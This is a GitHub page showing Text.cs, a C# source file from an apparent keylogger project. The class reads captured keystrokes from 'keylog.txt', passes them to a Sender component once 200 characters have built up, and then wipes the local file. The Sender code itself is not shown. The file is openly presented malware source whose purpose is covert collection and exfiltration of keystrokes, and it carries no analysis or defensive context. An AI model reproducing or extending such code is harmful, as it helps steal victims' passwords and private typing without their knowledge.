-
Notifications
You must be signed in to change notification settings - Fork 0
/
Text.cs
50 lines (41 loc) · 1.1 KB
/
Text.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
namespace Logger
{
public class Text
{
public string tex;
Sender sender = new Sender();
public Text()
{
tex = ReadLogFile();
}
public void sendee()
{
if (tex.Length >= 200)
{
sender.Send(tex);
tex = "";
WriteLogFile(tex);
}
}
private string ReadLogFile()
{
string logFilePath = Path.Combine(Directory.GetCurrentDirectory(), "keylog.txt");
if (File.Exists(logFilePath))
{
using (StreamReader sr = new StreamReader(logFilePath))
{
return sr.ReadToEnd();
}
}
return string.Empty;
}
private void WriteLogFile(string content)
{
string logFilePath = Path.Combine(Directory.GetCurrentDirectory(), "keylog.txt");
using (StreamWriter outputFile = new StreamWriter(logFilePath))
{
outputFile.Write(content);
}
}
}
}